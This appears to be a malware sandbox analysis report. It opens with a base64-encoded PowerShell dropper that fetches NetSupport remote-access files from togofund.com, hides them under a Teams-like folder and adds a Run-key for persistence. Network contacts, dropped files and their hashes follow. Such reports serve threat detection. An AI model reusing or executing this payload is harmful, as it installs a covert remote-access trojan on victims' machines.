ZAAtAGEAcgBDAEgASQB2AGUAIAAtAFAAQQBUAGgAIAAkAFMAaABuAEgAMAA2AEwAMAAgAC0ARABFAHMAdABJAG4AQQB0AEkAbwBuAFAAQQBUAEgAIAAkAGsAcgBwADEAYgBZAGwANAA7ACAAZQBYAHAAQQBOAGQALQBBAFIAQwBIAGkAdgBFACAALQBwAGEAVABIACAAJABJAEoAaQBFAEoAIAAtAEQAZQBTAHQAaQBOAGEAVABpAG8AbgBwAEEAVABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAFIASQAgAC0AUABBAHQASAAgACQAbwB2AFcASABCADsAIAByAE0AIAAtAHAAYQBUAEgAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAARQByAGEAUwBlACAALQBQAEEAVABoACAAJABJAEoAaQBFAEoAOwAgAHIATQAgAC0AcABhAHQAaAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAB9ACAAZQBsAHMAZQAgAHsAIAAkADMATQBUAG4AdwBTAGoAPQBAACgAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBjAGwAaQBlAG4AdAAzADIALgBpAG4AaQAnACwAIAAnAG4AcwBrAGIAZgBsAHQAcgAuAGkAbgBmACcALAAgACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMASABFAEsALgBEAEwATAAnACwAIAAnAHAAYwBpAGMAYQBwAGkALgBkAGwAbAAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIABuAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAQQBQAHAARABhAFQAQQAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQBJAHQARQBtAHQAeQBwAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgACQAawAxAHUASgBvAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBmAGkAZABlAC8AJwA7ACAASQBmACAAKAAkAEIAZgB1AFQATQApACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABGAG8AUgBlAGEAQwBoACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgAHMAdABhAHIAdAAtAEIASQBUAFMAVAByAEEATgBzAEYAZQByACAALQBzAE8AVQByAGMARQAgACQAdABFAEcASwBBACAALQBkAEUAcwBUAEkATgBhAHQASQBPAG4AIAAkAGgAbwBLAEgARgA7ACAAfQA7AH0AIABlAGwAcwBlACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABmAG8AUgBFAGEAQwBIACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgACQATQA4AFcAUABMAD0AIgBiAGkAdABTAGEARABtAGkATgAuAEUAeABlACAALwBUAFIAQQBuAFMARgBFAFIAIABvAEcAVgB3ADgAdABtAEwAIAAvAEQATwB3AE4ATABPAEEAZAAgAC8AUAByAEkATwBSAGkAdAB5ACAAbgBvAHIATQBhAGwAIAAkAHQARQBHAEsAQQAgACQAaABvAEsASABGACIAOwAgAGkARQBYACAALQBjAE8AbQBtAEEATgBEACAAJABNADgAVwBQAEwAOwB9ADsAIAB9ADsAIAB9ADsAIAAkAFYAOABUAHgAcAA9AEcARQBUAC0AaQBUAGUAbQAgACQAawByAHAAMQBiAFkAbAA0ACAALQBGAE8AUgBDAGUAOwAgACQAVgA4AFQAeABwAC4AYQB0AFQAUgBJAEIAdQBUAEUAUwA9ACcASABpAGQAZABlAG4AJwA7ACAAQwBIAEQAaQByACAAJABrAHIAcAAxAGIAWQBsADQAOwAgACQARgBoAEYAbwBRAD0AJABrAHIAcAAxAGIAWQBsADQAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAbgBlAFcALQBJAFQAZQBtAHAAUgBPAFAARQByAHQAWQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQB2AGEATAB1AGUAIAAkAEYAaABGAG8AUQAgAC0AUABSAG8AcABFAFIAdABZAFQAeQBwAEUAIAAnAFMAdAByAGkAbgBnACcAOwAgAHMAVABBAHIAdAAtAHAAcgBvAEMAZQBTAFMAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7AA==
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe
"C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | togofund.com | udp |
| NL | 23.254.231.141:443 | togofund.com | tcp |
| US | 8.8.8.8:53 | 141.231.254.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | yntvet.com | udp |
| NL | 91.202.5.18:443 | yntvet.com | tcp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 18.5.202.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.68.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 139.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 80.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/3024-0-0x00007FFEAA143000-0x00007FFEAA145000-memory.dmp
memory/3024-1-0x0000019AD8F90000-0x0000019AD8FB2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r1hk1qg3.bmn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3024-11-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3024-12-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3512-18-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3512-23-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3512-24-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3512-25-0x00000217B42B0000-0x00000217B42D6000-memory.dmp
memory/3512-26-0x00000217B4470000-0x00000217B4484000-memory.dmp
memory/3512-27-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3024-28-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3512-29-0x00000217B44B0000-0x00000217B44C2000-memory.dmp
memory/3512-30-0x00000217B44D0000-0x00000217B44DA000-memory.dmp
memory/3512-33-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
memory/3512-34-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe
| MD5 | f65f9a00a701a06ea714674a554ab400 |
| SHA1 | 7769b3bfd3caf4038cf740dc40a40f15174893b5 |
| SHA256 | e7a78714ffe2e00aa7739fd0184ebb7b6ee239a7345079ab9074ba244f4e7f09 |
| SHA512 | 76a278edd341c1d2befb1a12c42acb93f07d3d355d270b9a1041089f6f591ad8a6c7e2d2538c2594ad615475d2bff9a006273039eea84fdb1030cf2030767174 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\PCICL32.dll
| MD5 | af76608b5cd0f689c0f0eb5ca049e71d |
| SHA1 | af6559d12037f736ebd3326200c660fa88ffbc6d |
| SHA256 | 7344430e98aeedfc5b58e23a85e32fea8258f6f2b32d7819e6dea5803d7ad20b |
| SHA512 | 2fb8db47e5acc11b885e00eb91d421b70540d4d300a4a97a8ac6a7c94b981be219f1128f41fb3401ae6e4b5610acb81a861f47defd69cd689ba7f08634a45223 |
memory/3512-111-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp
C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcichek.dll
| MD5 | a0b9388c5f18e27266a31f8c5765b263 |
| SHA1 | 906f7e94f841d464d4da144f7c858fa2160e36db |
| SHA256 | 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a |
| SHA512 | 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcicapi.dll
| MD5 | dcde2248d19c778a41aa165866dd52d0 |
| SHA1 | 7ec84be84fe23f0b0093b647538737e1f19ebb03 |
| SHA256 | 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917 |
| SHA512 | c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.ini
| MD5 | d1844f69e52b7499f8da7bd9efd38317 |
| SHA1 | daf85286f6d54d1ffc50c04c8f9983567138c365 |
| SHA256 | 02f9b3a1de0872a80e3198a04b2adad1b3543c5731058fed5c7dfe1bd87dc87b |
| SHA512 | aeb5aec7ff7913f50a3d29cfd7555a5d7065034a18d61354f63d9c98dccc2e60e58c2bd7712adb900fec438e9059a911a898f3db1039be80abfaccb0390f3dab |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\NSM.LIC
| MD5 | 3589f7a4f84733c7b7bd2b09a66a254d |
| SHA1 | 37f81ddcf80c91e981c44e0eafcdb6d77a1f7678 |
| SHA256 | c6ef8a3d84ebe0230e87daf7b5f06ad1b80de62dfd5fb6dca60d2040bbb6ee63 |
| SHA512 | 324a2c60a99cb59e6576b98757ddc81a0e702db0e72b479e559877d1c3a5ec2915012df2612ab33da254ac9067246532f66a582d0d6fa362369782979230721c |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\HTCTL32.DLL
| MD5 | 2d3b207c8a48148296156e5725426c7f |
| SHA1 | ad464eb7cf5c19c8a443ab5b590440b32dbc618f |
| SHA256 | edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796 |
| SHA512 | 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 1a11402783a8686e08f8fa987dd07bca |
| SHA1 | 580df3865059f4e2d8be10644590317336d146ce |
| SHA256 | 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0 |
| SHA512 | 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6c36bb464ae2e6ef913b83d7048e8e94 |
| SHA1 | 4e073a932c58b067164f93b48ed10d62969f4776 |
| SHA256 | 4230cb0a9d772f5ee4949502aeb7224fd304140246567dae5c1a37e451396848 |
| SHA512 | b50d381d923c78e586c3304f392f64b31a820802a09342edc4dcb7c12bc59207d044355ea3149242727b7e9806a2f3016bb8dbf6566beb16bc0c30d6a5d0629e |
memory/3024-126-0x00007FFEAA140000-0x00007FFEAAC01000-memory.dmp